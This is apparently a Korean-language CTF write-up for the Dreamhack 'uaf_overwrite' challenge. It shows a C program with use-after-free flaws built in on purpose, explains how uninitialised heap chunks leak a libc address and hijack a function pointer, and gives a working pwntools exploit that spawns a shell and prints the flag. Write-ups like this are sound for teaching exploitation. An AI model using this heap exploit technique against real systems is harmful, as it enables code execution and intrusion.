// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
kali@kali ~/wargame/dreamhack/uaf_overwrite checksec uaf_overwrite
[*] '/home/kali/wargame/dreamhack/uaf_overwrite/uaf_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Human
과 Robot
구조체는 16 Byte * 3으로 크기가 같습니다.
human_func()
함수와 robot_func()
함수를 보면 메모리 할당 후 초기화를 하지 않습니다.
⇾ 두 구조체가 크기가 같기 때문에 Human
구조체의 age
에 onegadget 주소를 넣고 해제한 후 Robot
구조체를 할당하여
fptr
함수 포인터를 호출하면 UAF 취약점에 의해 쉘이 뜨게 됩니다.
robot_func()
함수를 보면 fptr
이 NULL
이 아니면 호출을 해주고 있어 onegadget을 실행시킬 수 있습니다.
custom_func
함수는 size
의 크기가 0x100 이상이면 메모리를 할당 하는데, 초기화를 하고 있지 않아서 UAF 취약점이 발생합니다.
from pwn import *
p = remote("host3.dreamhack.games", 9867)
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
human("1", og)
robot("1")
p.interactive()
익스플로잇 코드를 실행시켜보면
kali@kali ~/wargame/dreamhack/uaf_overwrite python3 exploit.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 9867: Done
[+] libc_base: 0x7f3c253e8000
[+] one_gadget: 0x7f3c254f241c
[*] Switching to interactive mode
$ ls
flag
run.sh
uaf_overwrite
쉘이 뜹니다.
flag 파일을 출력해보면
$ cat flag
DH{deb9ad0e1712772c3365e202f7283114}